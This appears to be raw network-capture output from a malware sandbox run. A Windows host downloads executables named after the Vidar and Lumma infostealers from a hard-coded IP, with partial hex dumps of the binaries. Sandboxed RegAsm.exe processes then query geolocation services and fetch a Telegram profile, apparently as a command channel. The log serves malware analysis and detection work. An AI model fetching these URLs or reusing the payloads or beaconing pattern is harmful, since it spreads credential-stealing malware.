Jun 20, 2024 06:49:10.052614927 CEST	1236	IN	Data Raw: ff 06 8b 06 3d 00 10 00 00 72 23 8d 48 23 3b c8 76 33 51 e8 57 a0 00 00 8b c8 83 c4 04 85 c9 74 29 8d 41 23 83 e0 e0 89 48 fc ff 0e 5e c3 85 c0 74 0d 50 e8 37 a0 00 00 83 c4 04 ff 0e 5e c3 ff 0e 33 c0 5e c3 e8 11 39 00 00 e8 7b eb 00 00 cc cc cc Data Ascii: =r#H#;v3QWt)A#H^tP7^3^9{Vt$=wC=r#H#;v3Qt)A#H^tP^3^8SW\|$wyw!Wt${SC_[
Jun 20, 2024 06:49:10.052651882 CEST	1236	IN	Data Raw: 83 c0 fc 83 f8 1f 77 50 8b c2 51 50 e8 ba 9b 00 00 83 c4 08 89 1e 8b 45 e0 8d 0c 83 89 4e 04 8d 0c bb 89 4e 08 8b 45 ec 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c2 08 00 ff 75 e8 ff 75 dc 8b 4d d8 e8 dd 39 00 00 6a 00 6a 00 e8 04 aa 00 Data Ascii: wPQPENNEMdY_^[]uuM9jj5UW\|$ujS\$VwS?N(v(FArP#+w6QPj,VF$F(Ft^[_]
Jun 20, 2024 06:49:10.052686930 CEST	576	IN	Data Raw: 83 c4 08 8b 4c 24 64 8b c6 5f 5e 5d 5b 33 cc e8 f6 96 00 00 83 c4 58 c2 20 00 e8 03 e2 00 00 cc cc cc cc ff 74 24 08 0f be 44 24 08 50 e8 d6 2a 01 00 83 c4 08 83 f8 ff 0f 95 c0 c3 cc cc cc cc cc cc cc 55 8b ec 6a ff 68 40 ba 42 00 64 a1 00 00 00 Data Ascii: L$d_^][3X t$D$P*Ujh@BdP(SVW\3PEde]3}@t 9\|$\|tE;v+3SM}uEAD%@t7t1HD@PL8df;u
Jun 20, 2024 06:49:10.052721977 CEST	1236	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 83 ec 08 56 8b 74 24 10 57 8b 06 8b 40 04 8b 44 30 30 8b 78 04 8b cf 89 7c 24 0c 8b 07 ff 50 04 8d 44 24 08 50 e8 96 03 00 00 83 c4 04 8b c8 8b 10 6a 0a 8b 42 20 ff d0 88 44 24 14 85 ff 74 Data Ascii: Vt$W@D00x\|$PD$PjB D$tPtjt$[kG_^Ujh`BdP0SVW\3PEde3u2]}}@L88tPj$EjMF
Jun 20, 2024 06:49:10.052757025 CEST	1236	IN	Data Raw: c7 44 24 38 00 00 00 00 c6 44 24 3c 00 c7 44 24 40 00 00 00 00 66 89 44 24 44 89 44 24 48 66 89 44 24 4c 89 44 24 50 88 44 24 54 89 44 24 58 88 44 24 5c 85 ff 74 6f 8d 44 24 2c 57 50 e8 2b 70 00 00 8d 44 24 24 c7 46 04 00 00 00 00 50 c7 06 f8 c2 Data Ascii: D$8D$<D$@fD$DD$HfD$LD$PD$TD$XD$\toD$,WP+pD$$FPB)qFD$3tL$,VnR5\L$Tk_^][PhBm\|SUVWjL$D$j=4\-\u1WL$j
Jun 20, 2024 06:49:10.052792072 CEST	1236	IN	Data Raw: 15 8d 4c 24 18 8b f3 e8 10 67 00 00 5f 8b c6 5e 5d 5b 83 c4 0c c3 ff 74 24 20 8d 44 24 14 50 e8 a7 17 00 00 83 c4 08 83 f8 ff 74 2d 8b 74 24 10 56 e8 33 6a 00 00 8b 16 83 c4 04 8b ce ff 52 04 89 35 b8 ba 5c 00 8d 4c 24 18 e8 cd 66 00 00 5f 8b c6 Data Ascii: L$g_^][t$ D$Pt-t$V3jR5\L$f_^][#\|$,SUVWtOpBjjwVcnj@BHAD9BEFFFFFFF
Jun 20, 2024 06:49:10.052824020 CEST	1236	IN	Data Raw: 00 00 c7 46 28 00 00 00 00 c7 46 2c 00 00 00 00 c7 46 30 00 00 00 00 e8 ef 85 00 00 8b f8 83 c4 04 85 ff 74 1c 6a 01 e8 9b 65 00 00 83 c4 04 89 47 04 8b ce 89 7e 34 e8 ab 15 00 00 5f 8b c6 5e c3 33 ff 8b ce 89 7e 34 e8 9a 15 00 00 5f 8b c6 5e c3 Data Ascii: F(F,F0tjeG~4_^3~4_^S\$WWGGw%D$SPW_G\|;_[=v;BD$D$VPWL$OL$SQV7_&
Jun 20, 2024 06:49:10.052860022 CEST	1236	IN	Data Raw: 63 81 00 00 83 c4 08 0f 10 4c 24 18 8d 4c 24 48 c7 07 e8 c1 42 00 f3 0f 7e 44 24 28 66 0f d6 44 24 58 0f 57 c0 83 7c 24 5c 0f 66 0f 7e c8 66 0f d6 47 04 0f 11 4c 24 48 0f 47 c8 c6 44 24 14 01 8d 47 04 89 4c 24 10 50 8d 44 24 14 50 e8 1f 8f 00 00 Data Ascii: cL$L$HB~D$(fD$XW\|$\f~fGL$HGD$GL$PD$PL$dHBv)T$HArP#+w?QRL$hT$lOL$`TBW_^][3T6Vt$WWGPBfFP\|
Jun 20, 2024 06:49:10.052897930 CEST	1236	IN	Data Raw: d1 89 0f 8b 46 1c 89 08 8b 46 2c 89 10 5f 80 7e 48 00 74 07 8b ce e8 f4 19 00 00 c7 06 98 c4 42 00 8b 76 34 85 f6 74 23 8b 4e 04 85 c9 74 11 8b 01 ff 50 08 85 c0 74 08 8b 10 8b c8 6a 01 ff 12 6a 08 56 e8 4b 7c 00 00 83 c4 08 5e c3 cc cc 51 c7 01 Data Ascii: FF,_~HtBv4t#NtPtjjVK\|^QtB:dYVNv'ArP#+wQP\|FF^tjVV\F,tP<F,F$tP%
Jun 20, 2024 06:49:12.492609024 CEST	219	OUT	HEAD /vidar1906.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
Jun 20, 2024 06:49:12.687916994 CEST	273	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 04:49:12 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Tue, 18 Jun 2024 22:35:39 GMT ETag: "6dc00-61b31b38bbc25" Accept-Ranges: bytes Content-Length: 449536 Content-Type: application/x-msdownload
Jun 20, 2024 06:49:12.688570023 CEST	218	OUT	GET /vidar1906.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
Jun 20, 2024 06:49:12.884864092 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 04:49:12 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Tue, 18 Jun 2024 22:35:39 GMT ETag: "6dc00-61b31b38bbc25" Accept-Ranges: bytes Content-Length: 449536 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 19 b3 f5 7c 5d d2 9b 2f 5d d2 9b 2f 5d d2 9b 2f 8e a0 98 2e 4c d2 9b 2f 8e a0 9e 2e ec d2 9b 2f 8e a0 9f 2e 4b d2 9b 2f 9f 53 9f 2e 4f d2 9b 2f 9f 53 98 2e 48 d2 9b 2f 8e a0 9a 2e 54 d2 9b 2f 5d d2 9a 2f dc d2 9b 2f 9f 53 9e 2e 0a d2 9b 2f ae 50 9e 2e 5c d2 9b 2f ae 50 99 2e 5c d2 9b 2f 52 69 63 68 5d d2 9b 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 b9 0b 72 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 b0 02 00 00 3a 04 00 00 00 00 00 c9 b7 00 00 00 10 00 00 00 c0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 07 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$\|]/]/]/.L/./.K/S.O/S.H/.T/]//S./P.\/P.\/Rich]/PELrf':@@l<KJ@@.text` `.rdata^@@.datahdTh@.reloc @B
Jun 20, 2024 06:49:13.849409103 CEST	221	OUT	HEAD /lumma1906_2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
Jun 20, 2024 06:49:14.044723988 CEST	273	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 04:49:13 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Tue, 18 Jun 2024 22:38:14 GMT ETag: "83600-61b31bcbd0b2c" Accept-Ranges: bytes Content-Length: 538112 Content-Type: application/x-msdownload
Jun 20, 2024 06:49:14.045505047 CEST	220	OUT	GET /lumma1906_2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
Jun 20, 2024 06:49:14.241503000 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 04:49:14 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Tue, 18 Jun 2024 22:38:14 GMT ETag: "83600-61b31bcbd0b2c" Accept-Ranges: bytes Content-Length: 538112 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 19 b3 f5 7c 5d d2 9b 2f 5d d2 9b 2f 5d d2 9b 2f 8e a0 98 2e 4c d2 9b 2f 8e a0 9e 2e ec d2 9b 2f 8e a0 9f 2e 4b d2 9b 2f 9f 53 9f 2e 4f d2 9b 2f 9f 53 98 2e 48 d2 9b 2f 8e a0 9a 2e 54 d2 9b 2f 5d d2 9a 2f dc d2 9b 2f 9f 53 9e 2e 0a d2 9b 2f ae 50 9e 2e 5c d2 9b 2f ae 50 99 2e 5c d2 9b 2f 52 69 63 68 5d d2 9b 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4d 0c 72 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 b0 02 00 00 94 05 00 00 00 00 00 c9 b7 00 00 00 10 00 00 00 c0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 08 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$\|]/]/]/.L/./.K/S.O/S.H/.T/]//S./P.\/P.\/Rich]/PELMrf'@`@l<@KJ@@.text` `.rdata^@@.datah@.reloc@ @B

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.4	49730	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 04:48:53 UTC	59	OUT	GET / HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
2024-06-20 04:48:53 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 20 Jun 2024 04:48:53 GMT content-type: application/json; charset=utf-8 Content-Length: 319 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-20 04:48:53 UTC	319	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone": "

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	34.117.186.192	443	6788	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 04:49:06 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-06-20 04:49:06 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 20 Jun 2024 04:49:06 GMT content-type: application/json; charset=utf-8 Content-Length: 1025 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 3 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-20 04:49:06 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-06-20 04:49:06 UTC	149	IN	Data Raw: 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	104.26.4.15	443	6788	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 04:49:06 UTC	260	OUT	GET /demo/home.php?s=8.46.123.33 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-06-20 04:49:06 UTC	655	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 04:49:06 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC46729D:F66C_93878F2E:0050_6673B4C2_14AD9D6A:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eQ4e4W8mu0Rq3jaZuqZyRiqpzjW5K74U7rS6xonn5V65RYVzJk42vbbQk1NmDwoKKUzJNMwYz02%2FbHGileUsxrlCaew1NeJ%2FXaznS%2BzKzsa9DsBU5YEoZsx2hw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89692160fa433342-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 04:49:06 UTC	673	IN	Data Raw: 32 39 61 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 43 6f 64 65 22 3a 22 4e 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 4e 61 6d 65 22 3a 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 73 45 75 4d 65 6d 62 65 72 22 3a 66 61 6c 73 65 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 63 75 72 72 65 6e 63 79 4e 61 6d 65 22 3a 22 44 6f 6c 6c 61 72 22 2c 22 70 68 6f 6e 65 50 72 65 66 69 78 22 3a 22 31 22 2c 22 6c 61 6e 67 75 61 67 65 73 22 3a 5b Data Ascii: 29a{"status":"ok","demoInfo":{"ipAddress":"8.46.123.33","continentCode":"NA","continentName":"North America","countryCode":"US","countryName":"United States","isEuMember":false,"currencyCode":"USD","currencyName":"Dollar","phonePrefix":"1","languages":[
2024-06-20 04:49:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49747	149.154.167.99	443	7124	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 04:49:15 UTC	89	OUT	GET /memve4erin HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-06-20 04:49:15 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 20 Jun 2024 04:49:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12378 Connection: close Set-Cookie: stel_ssid=3c7d4b937c004d755e_3002845357925579229; expires=Fri, 21 Jun 2024 04:49:15 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-06-20 04:49:15 UTC	12378	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6d 65 6d 76 65 34 65 72 69 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @memve4erin</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.pa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49755	34.117.186.192	443	3492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 04:49:17 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-06-20 04:49:17 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 20 Jun 2024 04:49:17 GMT content-type: application/json; charset=utf-8 Content-Length: 1025 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 1 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-20 04:49:17 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-06-20 04:49:17 UTC	149	IN	Data Raw: 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49757	104.26.4.15	443	3492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 04:49:18 UTC	260	OUT	GET /demo/home.php?s=8.46.123.33 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-06-20 04:49:18 UTC	663	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 04:49:18 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E9A0C:8A12_93878F2E:0050_6673B4CE_14995D21:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a5%2FFTsm7Y%2BZvvaxhgAthkq%2Bv2MfP8ElGjx7lERnxafMx8qcLCWqhwFFeV%2B2E7bpPGrR7MoFa9aTRRVYF43JpVXxG95VMjTBXirJCfONHhk0w2%2BJf%2F%2Bizw2LHpQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896921aa9dbe4337-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 04:49:18 UTC	673	IN	Data Raw: 32 39 61 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 43 6f 64 65 22 3a 22 4e 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 4e 61 6d 65 22 3a 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 73 45 75 4d 65 6d 62 65 72 22 3a 66 61 6c 73 65 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 63 75 72 72 65 6e 63 79 4e 61 6d 65 22 3a 22 44 6f 6c 6c 61 72 22 2c 22 70 68 6f 6e 65 50 72 65 66 69 78 22 3a 22 31 22 2c 22 6c 61 6e 67 75 61 67 65 73 22 3a 5b Data Ascii: 29a{"status":"ok","demoInfo":{"ipAddress":"8.46.123.33","continentCode":"NA","continentName":"North America","countryCode":"US","countryName":"United States","isEuMember":false,"currencyCode":"USD","currencyName":"Dollar","phonePrefix":"1","languages":[
2024-06-20 04:49:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49765	34.117.186.192	443	7404	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
